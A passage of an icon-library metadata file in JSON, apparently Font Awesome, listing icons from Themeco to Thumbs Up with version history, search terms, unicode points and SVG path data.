1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z"
      }
    },
    "free": ["brands"]
  },
  "themeco": {
    "changes": ["5.1.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5c6",
    "label": "Themeco",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z"
      }
    },
    "free": ["brands"]
  },
  "themeisle": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2b2",
    "label": "ThemeIsle",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z"
      }
    },
    "free": ["brands"]
  },
  "thermometer": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f491"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["covid-19", "mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f491",
    "label": "Thermometer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 382.1V293.3c0-14.9 5.9-29.1 16.4-39.6l27.3-27.3 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 45.5-45.5C355.2 10.9 381.4 0 408.8 0C465.8 0 512 46.2 512 103.2c0 27.4-10.9 53.6-30.2 73L258.3 399.6c-10.5 10.5-24.7 16.4-39.6 16.4H129.9L41 505c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l89-89z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 382.1V293.3c0-14.9 5.9-29.1 16.4-39.6l27.3-27.3 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 45.5-45.5C355.2 10.9 381.4 0 408.8 0C465.8 0 512 46.2 512 103.2c0 27.4-10.9 53.6-30.2 73L258.3 399.6c-10.5 10.5-24.7 16.4-39.6 16.4H129.9L41 505c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l89-89z"
      }
    },
    "free": ["solid"]
  },
  "think-peaks": {
    "changes": ["5.4.2", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f731",
    "label": "Think Peaks",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z"
      }
    },
    "free": ["brands"]
  },
  "threads": {
    "changes": ["6.4.1", "6.4.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e618",
    "label": "Threads",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M331.5 235.7c2.2 .9 4.2 1.9 6.3 2.8c29.2 14.1 50.6 35.2 61.8 61.4c15.7 36.5 17.2 95.8-30.3 143.2c-36.2 36.2-80.3 52.5-142.6 53h-.3c-70.2-.5-124.1-24.1-160.4-70.2c-32.3-41-48.9-98.1-49.5-169.6V256v-.2C17 184.3 33.6 127.2 65.9 86.2C102.2 40.1 156.2 16.5 226.4 16h.3c70.3 .5 124.9 24 162.3 69.9c18.4 22.7 32 50 40.6 81.7l-40.4 10.8c-7.1-25.8-17.8-47.8-32.2-65.4c-29.2-35.8-73-54.2-130.5-54.6c-57 .5-100.1 18.8-128.2 54.4C72.1 146.1 58.5 194.3 58 256c.5 61.7 14.1 109.9 40.3 143.3c28 35.6 71.2 53.9 128.2 54.4c51.4-.4 85.4-12.6 113.7-40.9c32.3-32.2 31.7-71.8 21.4-95.9c-6.1-14.2-17.1-26-31.9-34.9c-3.7 26.9-11.8 48.3-24.7 64.8c-17.1 21.8-41.4 33.6-72.7 35.3c-23.6 1.3-46.3-4.4-63.9-16c-20.8-13.8-33-34.8-34.3-59.3c-2.5-48.3 35.7-83 95.2-86.4c21.1-1.2 40.9-.3 59.2 2.8c-2.4-14.8-7.3-26.6-14.6-35.2c-10-11.7-25.6-17.7-46.2-17.8H227c-16.6 0-39 4.6-53.3 26.3l-34.4-23.6c19.2-29.1 50.3-45.1 87.8-45.1h.8c62.6 .4 99.9 39.5 103.7 107.7l-.2 .2zm-156 68.8c1.3 25.1 28.4 36.8 54.6 35.3c25.6-1.4 54.6-11.4 59.5-73.2c-13.2-2.9-27.8-4.4-43.4-4.4c-4.8 0-9.6 .1-14.4 .4c-42.9 2.4-57.2 23.2-56.2 41.8l-.1 .1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M331.5 235.7c2.2 .9 4.2 1.9 6.3 2.8c29.2 14.1 50.6 35.2 61.8 61.4c15.7 36.5 17.2 95.8-30.3 143.2c-36.2 36.2-80.3 52.5-142.6 53h-.3c-70.2-.5-124.1-24.1-160.4-70.2c-32.3-41-48.9-98.1-49.5-169.6V256v-.2C17 184.3 33.6 127.2 65.9 86.2C102.2 40.1 156.2 16.5 226.4 16h.3c70.3 .5 124.9 24 162.3 69.9c18.4 22.7 32 50 40.6 81.7l-40.4 10.8c-7.1-25.8-17.8-47.8-32.2-65.4c-29.2-35.8-73-54.2-130.5-54.6c-57 .5-100.1 18.8-128.2 54.4C72.1 146.1 58.5 194.3 58 256c.5 61.7 14.1 109.9 40.3 143.3c28 35.6 71.2 53.9 128.2 54.4c51.4-.4 85.4-12.6 113.7-40.9c32.3-32.2 31.7-71.8 21.4-95.9c-6.1-14.2-17.1-26-31.9-34.9c-3.7 26.9-11.8 48.3-24.7 64.8c-17.1 21.8-41.4 33.6-72.7 35.3c-23.6 1.3-46.3-4.4-63.9-16c-20.8-13.8-33-34.8-34.3-59.3c-2.5-48.3 35.7-83 95.2-86.4c21.1-1.2 40.9-.3 59.2 2.8c-2.4-14.8-7.3-26.6-14.6-35.2c-10-11.7-25.6-17.7-46.2-17.8H227c-16.6 0-39 4.6-53.3 26.3l-34.4-23.6c19.2-29.1 50.3-45.1 87.8-45.1h.8c62.6 .4 99.9 39.5 103.7 107.7l-.2 .2zm-156 68.8c1.3 25.1 28.4 36.8 54.6 35.3c25.6-1.4 54.6-11.4 59.5-73.2c-13.2-2.9-27.8-4.4-43.4-4.4c-4.8 0-9.6 .1-14.4 .4c-42.9 2.4-57.2 23.2-56.2 41.8l-.1 .1z"
      }
    },
    "free": ["brands"]
  },
  "thumbs-down": {
    "aliases": {
      "unicodes": {
        "composite": ["1f44e", "f088"],
        "secondary": ["10f165"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "-1",
        "disagree",
        "disapprove",
        "dislike",
        "down",
        "hand",
        "social",
        "thumb",
        "thumbs down",
        "thumbs-o-down"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f165",
    "label": "Thumbs Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M313.4 479.1c26-5.2 42.9-30.5 37.7-56.5l-2.3-11.4c-5.3-26.7-15.1-52.1-28.8-75.2H464c26.5 0 48-21.5 48-48c0-18.5-10.5-34.6-25.9-42.6C497 236.6 504 223.1 504 208c0-23.4-16.8-42.9-38.9-47.1c4.4-7.3 6.9-15.8 6.9-24.9c0-21.3-13.9-39.4-33.1-45.6c.7-3.3 1.1-6.8 1.1-10.4c0-26.5-21.5-48-48-48H294.5c-19 0-37.5 5.6-53.3 16.1L202.7 73.8C176 91.6 160 121.6 160 153.7V192v48 24.9c0 29.2 13.3 56.7 36 75l7.4 5.9c26.5 21.2 44.6 51 51.2 84.2l2.3 11.4c5.2 26 30.5 42.9 56.5 37.7zM32 384H96c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H32C14.3 96 0 110.3 0 128V352c0 17.7 14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M313.4 479.1c26-5.2 42.9-30.5 37.7-56.5l-2.3-11.4c-5.3-26.7-15.1-52.1-28.8-75.2H464c26.5 0 48-21.5 48-48c0-18.5-10.5-34.6-25.9-42.6C497 236.6 504 223.1 504 208c0-23.4-16.8-42.9-38.9-47.1c4.4-7.3 6.9-15.8 6.9-24.9c0-21.3-13.9-39.4-33.1-45.6c.7-3.3 1.1-6.8 1.1-10.4c0-26.5-21.5-48-48-48H294.5c-19 0-37.5 5.6-53.3 16.1L202.7 73.8C176 91.6 160 121.6 160 153.7V192v48 24.9c0 29.2 13.3 56.7 36 75l7.4 5.9c26.5 21.2 44.6 51 51.2 84.2l2.3 11.4c5.2 26 30.5 42.9 56.5 37.7zM32 384H96c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H32C14.3 96 0 110.3 0 128V352c0 17.7 14.3 32 32 32z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M323.8 477.2c-38.2 10.9-78.1-11.2-89-49.4l-5.7-20c-3.7-13-10.4-25-19.5-35l-51.3-56.4c-8.9-9.8-8.2-25 1.6-33.9s25-8.2 33.9 1.6l51.3 56.4c14.1 15.5 24.4 34 30.1 54.1l5.7 20c3.6 12.7 16.9 20.1 29.7 16.5s20.1-16.9 16.5-29.7l-5.7-20c-5.7-19.9-14.7-38.7-26.6-55.5c-5.2-7.3-5.8-16.9-1.7-24.9s12.3-13 21.3-13L448 288c8.8 0 16-7.2 16-16c0-6.8-4.3-12.7-10.4-15c-7.4-2.8-13-9-14.9-16.7s.1-15.8 5.3-21.7c2.5-2.8 4-6.5 4-10.6c0-7.8-5.6-14.3-13-15.7c-8.2-1.6-15.1-7.3-18-15.2s-1.6-16.7 3.6-23.3c2.1-2.7 3.4-6.1 3.4-9.9c0-6.7-4.2-12.6-10.2-14.9c-11.5-4.5-17.7-16.9-14.4-28.8c.4-1.3 .6-2.8 .6-4.3c0-8.8-7.2-16-16-16H286.5c-12.6 0-25 3.7-35.5 10.7l-61.7 41.1c-11 7.4-25.9 4.4-33.3-6.7s-4.4-25.9 6.7-33.3l61.7-41.1c18.4-12.3 40-18.8 62.1-18.8H384c34.7 0 62.9 27.6 64 62c14.6 11.7 24 29.7 24 50c0 4.5-.5 8.8-1.3 13c15.4 11.7 25.3 30.2 25.3 51c0 6.5-1 12.8-2.8 18.7C504.8 238.3 512 254.3 512 272c0 35.3-28.6 64-64 64l-92.3 0c4.7 10.4 8.7 21.2 11.8 32.2l5.7 20c10.9 38.2-11.2 78.1-49.4 89zM32 384c-17.7 0-32-14.3-32-32V128c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M323.8 477.2c-38.2 10.9-78.1-11.2-89-49.4l-5.7-20c-3.7-13-10.4-25-19.5-35l-51.3-56.4c-8.9-9.8-8.2-25 1.6-33.9s25-8.2 33.9 1.6l51.3 56.4c14.1 15.5 24.4 34 30.1 54.1l5.7 20c3.6 12.7 16.9 20.1 29.7 16.5s20.1-16.9 16.5-29.7l-5.7-20c-5.7-19.9-14.7-38.7-26.6-55.5c-5.2-7.3-5.8-16.9-1.7-24.9s12.3-13 21.3-13L448 288c8.8 0 16-7.2 16-16c0-6.8-4.3-12.7-10.4-15c-7.4-2.8-13-9-14.9-16.7s.1-15.8 5.3-21.7c2.5-2.8 4-6.5 4-10.6c0-7.8-5.6-14.3-13-15.7c-8.2-1.6-15.1-7.3-18-15.2s-1.6-16.7 3.6-23.3c2.1-2.7 3.4-6.1 3.4-9.9c0-6.7-4.2-12.6-10.2-14.9c-11.5-4.5-17.7-16.9-14.4-28.8c.4-1.3 .6-2.8 .6-4.3c0-8.8-7.2-16-16-16H286.5c-12.6 0-25 3.7-35.5 10.7l-61.7 41.1c-11 7.4-25.9 4.4-33.3-6.7s-4.4-25.9 6.7-33.3l61.7-41.1c18.4-12.3 40-18.8 62.1-18.8H384c34.7 0 62.9 27.6 64 62c14.6 11.7 24 29.7 24 50c0 4.5-.5 8.8-1.3 13c15.4 11.7 25.3 30.2 25.3 51c0 6.5-1 12.8-2.8 18.7C504.8 238.3 512 254.3 512 272c0 35.3-28.6 64-64 64l-92.3 0c4.7 10.4 8.7 21.2 11.8 32.2l5.7 20c10.9 38.2-11.2 78.1-49.4 89zM32 384c-17.7 0-32-14.3-32-32V128c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "thumbs-up": {
    "aliases": {
      "unicodes": {
        "composite": ["1f44d", "f087"],
        "secondary": ["10f164"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "+1",
        "agree",
        "approve",
        "favorite",
        "hand",
        "like",
        "ok",
        "okay",
        "social",
        "success",
        "thumb",
        "thumbs up",
        "thumbs-o-up",
        "up",
        "yes",
        "you got it dude"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f164",
    "label": "Thumbs Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
